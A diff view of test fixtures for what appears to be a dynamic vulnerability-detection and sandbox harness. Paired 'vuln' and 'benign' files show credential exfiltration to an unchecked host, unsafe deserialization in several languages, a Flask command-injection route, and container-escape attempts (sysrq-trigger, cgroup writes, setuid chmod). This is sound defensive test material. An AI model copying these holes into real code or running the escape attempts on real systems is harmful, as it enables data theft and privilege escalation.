|
||||
module.exports = { run };
|
||||
8
tests/dynamic_fixtures/data_exfil/php/benign.php
Normal file
8
tests/dynamic_fixtures/data_exfil/php/benign.php
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP DATA_EXFIL benign control fixture.
|
||||
function run($host) {
|
||||
if (!in_array($host, ["127.0.0.1", "localhost"], true)) return;
|
||||
$secret = "alice-creds";
|
||||
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
|
||||
@file_get_contents($url);
|
||||
}
|
||||
7
tests/dynamic_fixtures/data_exfil/php/vuln.php
Normal file
7
tests/dynamic_fixtures/data_exfil/php/vuln.php
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP DATA_EXFIL vuln fixture.
|
||||
function run($host) {
|
||||
$secret = "alice-creds";
|
||||
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
|
||||
@file_get_contents($url);
|
||||
}
|
||||
15
tests/dynamic_fixtures/data_exfil/python/benign.py
Normal file
15
tests/dynamic_fixtures/data_exfil/python/benign.py
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
# Phase 11 (Track J.9) — Python DATA_EXFIL benign control fixture.
|
||||
#
|
||||
# Sends to a loopback receiver, so the captured host is on-allowlist
|
||||
# and the predicate stays clear.
|
||||
import urllib.request
|
||||
|
||||
ALLOWLIST = {"127.0.0.1", "localhost"}
|
||||
|
||||
|
||||
def run(host):
|
||||
if host not in ALLOWLIST:
|
||||
return
|
||||
secret = "alice-creds"
|
||||
url = f"http://{host}/exfil?token={secret}"
|
||||
urllib.request.urlopen(url, timeout=1)
|
||||
12
tests/dynamic_fixtures/data_exfil/python/vuln.py
Normal file
12
tests/dynamic_fixtures/data_exfil/python/vuln.py
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
# Phase 11 (Track J.9) — Python DATA_EXFIL vuln fixture.
|
||||
#
|
||||
# Sends a captured secret to an attacker-controlled host without
|
||||
# host validation; the harness's mock HTTP client records the
|
||||
# outbound `host` and the `OutboundHostNotIn` oracle fires.
|
||||
import urllib.request
|
||||
|
||||
|
||||
def run(host):
|
||||
secret = "alice-creds"
|
||||
url = f"http://{host}/exfil?token={secret}"
|
||||
urllib.request.urlopen(url, timeout=1)
|
||||
12
tests/dynamic_fixtures/data_exfil/ruby/benign.rb
Normal file
12
tests/dynamic_fixtures/data_exfil/ruby/benign.rb
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
# Phase 11 (Track J.9) — Ruby DATA_EXFIL benign control fixture.
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
ALLOWLIST = %w[127.0.0.1 localhost].freeze
|
||||
|
||||
def run(host)
|
||||
return unless ALLOWLIST.include?(host)
|
||||
secret = "alice-creds"
|
||||
uri = URI("http://#{host}/exfil?token=#{secret}")
|
||||
Net::HTTP.get(uri)
|
||||
end
|
||||
9
tests/dynamic_fixtures/data_exfil/ruby/vuln.rb
Normal file
9
tests/dynamic_fixtures/data_exfil/ruby/vuln.rb
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
# Phase 11 (Track J.9) — Ruby DATA_EXFIL vuln fixture.
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
def run(host)
|
||||
secret = "alice-creds"
|
||||
uri = URI("http://#{host}/exfil?token=#{secret}")
|
||||
Net::HTTP.get(uri)
|
||||
end
|
||||
11
tests/dynamic_fixtures/data_exfil/rust/benign.rs
Normal file
11
tests/dynamic_fixtures/data_exfil/rust/benign.rs
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Phase 11 (Track J.9) — Rust DATA_EXFIL benign control fixture.
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub fn run(host: &str) {
|
||||
if !ALLOWLIST.contains(&host) {
|
||||
return;
|
||||
}
|
||||
let secret = "alice-creds";
|
||||
let url = format!("http://{host}/exfil?token={secret}");
|
||||
let _ = reqwest::blocking::get(&url);
|
||||
}
|
||||
6
tests/dynamic_fixtures/data_exfil/rust/vuln.rs
Normal file
6
tests/dynamic_fixtures/data_exfil/rust/vuln.rs
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
// Phase 11 (Track J.9) — Rust DATA_EXFIL vuln fixture.
|
||||
pub fn run(host: &str) {
|
||||
let secret = "alice-creds";
|
||||
let url = format!("http://{host}/exfil?token={secret}");
|
||||
let _ = reqwest::blocking::get(&url);
|
||||
}
|
||||
39
tests/dynamic_fixtures/deserialize/java/Benign.java
Normal file
39
tests/dynamic_fixtures/deserialize/java/Benign.java
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
// Phase 03 (Track J.1) — Java deserialize benign fixture.
|
||||
//
|
||||
// Same shape as the vuln fixture but wraps `ObjectInputStream` in a
|
||||
// subclass whose `resolveClass` only accepts a tiny allowlist. A
|
||||
// gadget chain never resolves so no Deserialize probe fires.
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InvalidClassException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectStreamClass;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
public class Benign {
|
||||
static final Set<String> ALLOWED =
|
||||
new HashSet<>(Arrays.asList("java.lang.Integer", "java.lang.String"));
|
||||
|
||||
static class RestrictedObjectInputStream extends ObjectInputStream {
|
||||
RestrictedObjectInputStream(ByteArrayInputStream s) throws IOException {
|
||||
super(s);
|
||||
}
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc)
|
||||
throws IOException, ClassNotFoundException {
|
||||
if (!ALLOWED.contains(desc.getName())) {
|
||||
throw new InvalidClassException("blocked: " + desc.getName());
|
||||
}
|
||||
return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
|
||||
public static Object run(byte[] payload) throws Exception {
|
||||
ByteArrayInputStream bis = new ByteArrayInputStream(payload);
|
||||
try (RestrictedObjectInputStream ois = new RestrictedObjectInputStream(bis)) {
|
||||
return ois.readObject();
|
||||
}
|
||||
}
|
||||
}
|
||||
16
tests/dynamic_fixtures/deserialize/java/Vuln.java
Normal file
16
tests/dynamic_fixtures/deserialize/java/Vuln.java
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 03 (Track J.1) — Java deserialize vuln fixture.
|
||||
//
|
||||
// The function reads bytes off the wire and hands them straight to
|
||||
// `ObjectInputStream.readObject` without restricting `resolveClass`.
|
||||
// A gadget chain inside the byte stream is materialised before any
|
||||
// allowlist check fires, so a CVE-class object-injection is reachable.
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
|
||||
public class Vuln {
|
||||
public static Object run(byte[] payload) throws Exception {
|
||||
ByteArrayInputStream bis = new ByteArrayInputStream(payload);
|
||||
ObjectInputStream ois = new ObjectInputStream(bis);
|
||||
return ois.readObject();
|
||||
}
|
||||
}
|
||||
8
tests/dynamic_fixtures/deserialize/php/benign.php
Normal file
8
tests/dynamic_fixtures/deserialize/php/benign.php
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<?php
|
||||
// Phase 03 (Track J.1) — PHP deserialize benign fixture.
|
||||
//
|
||||
// Passes `allowed_classes => false` so every object becomes a
|
||||
// `__PHP_Incomplete_Class` instead of materialising the gadget.
|
||||
function run(string $blob) {
|
||||
return unserialize($blob, ['allowed_classes' => false]);
|
||||
}
|
||||
9
tests/dynamic_fixtures/deserialize/php/vuln.php
Normal file
9
tests/dynamic_fixtures/deserialize/php/vuln.php
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
// Phase 03 (Track J.1) — PHP deserialize vuln fixture.
|
||||
//
|
||||
// `unserialize` without `allowed_classes` will materialise any
|
||||
// `O:N:"ClassName":` blob the attacker sends, triggering `__wakeup`
|
||||
// / `__destruct` chains.
|
||||
function run(string $blob) {
|
||||
return unserialize($blob);
|
||||
}
|
||||
22
tests/dynamic_fixtures/deserialize/python/benign.py
Normal file
22
tests/dynamic_fixtures/deserialize/python/benign.py
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
"""Phase 03 (Track J.1) — Python deserialize benign fixture.
|
||||
|
||||
Wraps `pickle.Unpickler` with a `find_class` override that hard-codes
|
||||
a tiny allowlist. A gadget chain in the payload trips
|
||||
`UnpicklingError` before any code runs, so no Deserialize probe
|
||||
fires.
|
||||
"""
|
||||
import io
|
||||
import pickle
|
||||
|
||||
ALLOWED = {("builtins", "list"), ("builtins", "dict"), ("builtins", "int")}
|
||||
|
||||
|
||||
class RestrictedUnpickler(pickle.Unpickler):
|
||||
def find_class(self, module: str, name: str):
|
||||
if (module, name) not in ALLOWED:
|
||||
raise pickle.UnpicklingError(f"blocked: {module}.{name}")
|
||||
return super().find_class(module, name)
|
||||
|
||||
|
||||
def run(blob: bytes):
|
||||
return RestrictedUnpickler(io.BytesIO(blob)).load()
|
||||
11
tests/dynamic_fixtures/deserialize/python/vuln.py
Normal file
11
tests/dynamic_fixtures/deserialize/python/vuln.py
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
"""Phase 03 (Track J.1) — Python deserialize vuln fixture.
|
||||
|
||||
`pickle.loads` accepts arbitrary classes; a gadget chain inside the
|
||||
payload runs straight through `__reduce__` without bumping into any
|
||||
allowlist.
|
||||
"""
|
||||
import pickle
|
||||
|
||||
|
||||
def run(blob: bytes):
|
||||
return pickle.loads(blob)
|
||||
15
tests/dynamic_fixtures/deserialize/ruby/benign.rb
Normal file
15
tests/dynamic_fixtures/deserialize/ruby/benign.rb
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
# Phase 03 (Track J.1) — Ruby deserialize benign fixture.
|
||||
#
|
||||
# Inspects the marshalled stream's const name before handing it to
|
||||
# `Marshal.load`; anything outside the tiny allowlist raises before
|
||||
# any gadget code runs.
|
||||
ALLOWED = %w[Integer String Array].freeze
|
||||
|
||||
def run(blob)
|
||||
# Quick const-name sniff — `Marshal` writes the class name as a
|
||||
# length-prefixed string after the `o` tag.
|
||||
if blob.bytes.any? && !ALLOWED.any? { |c| blob.include?(c) }
|
||||
raise ArgumentError, "blocked: non-allowlisted gadget class"
|
||||
end
|
||||
Marshal.load(blob)
|
||||
end
|
||||
8
tests/dynamic_fixtures/deserialize/ruby/vuln.rb
Normal file
8
tests/dynamic_fixtures/deserialize/ruby/vuln.rb
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
# Phase 03 (Track J.1) — Ruby deserialize vuln fixture.
|
||||
#
|
||||
# `Marshal.load` materialises arbitrary constants; a CVE-class gadget
|
||||
# in the payload runs through `_load` / `_load_data` without any
|
||||
# allowlist check.
|
||||
def run(blob)
|
||||
Marshal.load(blob)
|
||||
end
|
||||
35
tests/dynamic_fixtures/env_capture/flask_three_deps/app.py
Normal file
35
tests/dynamic_fixtures/env_capture/flask_three_deps/app.py
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
# Phase 09 fixture: Flask app with three deps. The static engine
|
||||
# resolves the sink to `_execute` (helper) and the callgraph rewrite
|
||||
# resolves the entry to the Flask route handler `run_command`.
|
||||
# Phase 09's environment capture pass must:
|
||||
# 1. Resolve toolchain via .python-version / pyproject.toml.
|
||||
# 2. Extract flask + requests + jinja2 as direct deps.
|
||||
# 3. Detect Flask via the manifest in requirements.txt.
|
||||
# 4. Stage every file in the source closure of `_execute`.
|
||||
|
||||
from flask import Flask, request
|
||||
import requests
|
||||
import jinja2
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
def _execute(cmd):
|
||||
import os
|
||||
os.system(cmd) # sink: command injection
|
||||
|
||||
|
||||
def _enrich(cmd):
|
||||
# Cross-file helper consumer: forces the source closure walk to copy
|
||||
# at least one extra file beyond `app.py` even when this fixture is
|
||||
# collapsed into a single-file directory.
|
||||
template = jinja2.Template("echo {{ value }}")
|
||||
return template.render(value=cmd)
|
||||
|
||||
|
||||
@app.route("/run", methods=["POST"])
|
||||
def run_command():
|
||||
raw = request.form.get("cmd", "")
|
||||
cmd = _enrich(raw)
|
||||
_execute(cmd)
|
||||
return "ok"
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
debug: true
|
||||
log_level: info
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
[project]
|
||||
name = "flask_three_deps"
|
||||
version = "0.1.0"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = ["Flask>=2.3", "requests>=2.30", "Jinja2>=3.1"]
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
Flask==2.3.0
|
||||
requests==2.31.0
|
||||
Jinja2==3.1.2
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
"""Positive control: verify the escape-detection mechanism itself.
|
||||
|
||||
Writes to /proc/sysrq-trigger, which requires CAP_SYS_ADMIN. This fixture
|
||||
is expected to SUCCEED (print NYX_ESCAPE_SUCCESS) when run in a privileged
|
||||
container (--cap-add=SYS_ADMIN) and to FAIL when run with --cap-drop=ALL.
|
||||
|
||||
CI usage (escape-positive-control job):
|
||||
Run under a container started with --cap-add=SYS_ADMIN.
|
||||
Assert NYX_ESCAPE_SUCCESS appears in output.
|
||||
If it does NOT appear, the test mechanism is broken or the capability
|
||||
was not granted, and the CI job fails.
|
||||
|
||||
Normal escape suite: this fixture is NOT included. The positive control test
|
||||
(positive_control_cap_sys_admin in dynamic_sandbox_escape.rs) is #[ignore]d
|
||||
and only un-ignored in the dedicated escape-positive-control CI job.
|
||||
"""
|
||||
import sys
|
||||
|
||||
try:
|
||||
with open("/proc/sysrq-trigger", "w") as f:
|
||||
f.write("h") # 'h' = print help, harmless
|
||||
print("NYX_ESCAPE_SUCCESS: CAP_SYS_ADMIN active, wrote to /proc/sysrq-trigger")
|
||||
sys.exit(0)
|
||||
except (PermissionError, OSError) as e:
|
||||
print(f"BLOCKED: CAP_SYS_ADMIN not present: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
20
tests/dynamic_fixtures/escape/cgroup_escape.py
Normal file
20
tests/dynamic_fixtures/escape/cgroup_escape.py
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
"""Escape attempt: write to cgroup hierarchy to escape resource limits.
|
||||
|
||||
Requires CAP_SYS_ADMIN. Expected outcome: PermissionError.
|
||||
"""
|
||||
import os
|
||||
import sys
|
||||
|
||||
CGROUP_PROCS = "/sys/fs/cgroup/cgroup.procs"
|
||||
CGROUP_V1 = "/sys/fs/cgroup/memory/cgroup.procs"
|
||||
|
||||
target = CGROUP_PROCS if os.path.exists(CGROUP_PROCS) else CGROUP_V1
|
||||
|
||||
try:
|
||||
with open(target, "w") as f:
|
||||
f.write(str(os.getpid()))
|
||||
print(f"NYX_ESCAPE_SUCCESS: wrote pid to {target}")
|
||||
sys.exit(0)
|
||||
except (PermissionError, OSError) as e:
|
||||
print(f"BLOCKED: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
19
tests/dynamic_fixtures/escape/chmod_4755/benign/main.c
Normal file
19
tests/dynamic_fixtures/escape/chmod_4755/benign/main.c
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
/*
|
||||
* Phase 20 (Track E.5) — benign counterpart for chmod_4755 fixture.
|
||||
*
|
||||
* Same sink probe, but no escape attempt. Used by the test as a sanity
|
||||
* check that the harness boots, reaches the sink, and prints the marker
|
||||
* under the same Strict-profile options that the vuln fixture runs with.
|
||||
* If the benign run fails to emit `__NYX_SINK_HIT__`, the test fails as a
|
||||
* Track-B regression — the harness contract is broken before any
|
||||
* containment claim can be made.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
printf("benign:chmod_4755\n");
|
||||
printf("__NYX_PROBE_DONE__\n");
|
||||
return 0;
|
||||
}
|
||||
51
tests/dynamic_fixtures/escape/chmod_4755/vuln/main.c
Normal file
51
tests/dynamic_fixtures/escape/chmod_4755/vuln/main.c
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
/*
|
||||
* Phase 20 (Track E.5) — escape fixture: chmod setuid bit (04755).
|
||||
*
|
||||
* The harness:
|
||||
* 1. Prints `__NYX_SINK_HIT__` so the test sees the sink was reached.
|
||||
* Without this, the test fails as a Track-B regression rather than
|
||||
* passing vacuously.
|
||||
* 2. Attempts to create `<SENTINEL_PATH>` on the host filesystem and
|
||||
* `chmod` it to mode 04755 (setuid root). Under Phase 17 hardening:
|
||||
* - `chroot(workdir)` redirects the absolute path so the host file
|
||||
* is never touched;
|
||||
* - even if the file were created, `prctl(PR_SET_NO_NEW_PRIVS)`
|
||||
* strips the setuid bit at the next `execve`.
|
||||
*
|
||||
* The test asserts that:
|
||||
* (a) `__NYX_SINK_HIT__` appeared in stdout (else: Track-B regression);
|
||||
* (b) the host-absolute sentinel path is absent after the run.
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* Stable, well-known absolute path. Test removes it before/after each run. */
|
||||
#define SENTINEL_PATH "/tmp/nyx_escape_chmod_4755_sentinel"
|
||||
|
||||
int main(void) {
|
||||
/* Sink probe — must fire before the escape attempt. */
|
||||
printf("__NYX_SINK_HIT__\n");
|
||||
fflush(stdout);
|
||||
|
||||
int fd = open(SENTINEL_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (fd >= 0) {
|
||||
const char *payload = "NYX_ESCAPE_SUCCESS\n";
|
||||
ssize_t _ignored = write(fd, payload, 19);
|
||||
(void)_ignored;
|
||||
close(fd);
|
||||
/* Escalate: setuid root bit. */
|
||||
if (chmod(SENTINEL_PATH, 04755) == 0) {
|
||||
printf("escape:chmod_4755:applied\n");
|
||||
} else {
|
||||
printf("escape:chmod_4755:chmod_failed\n");
|
||||
}
|
||||
} else {
|
||||
printf("escape:chmod_4755:open_failed\n");
|
||||
}
|
||||
|
||||
printf("__NYX_PROBE_DONE__\n");
|
||||
return 0;
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue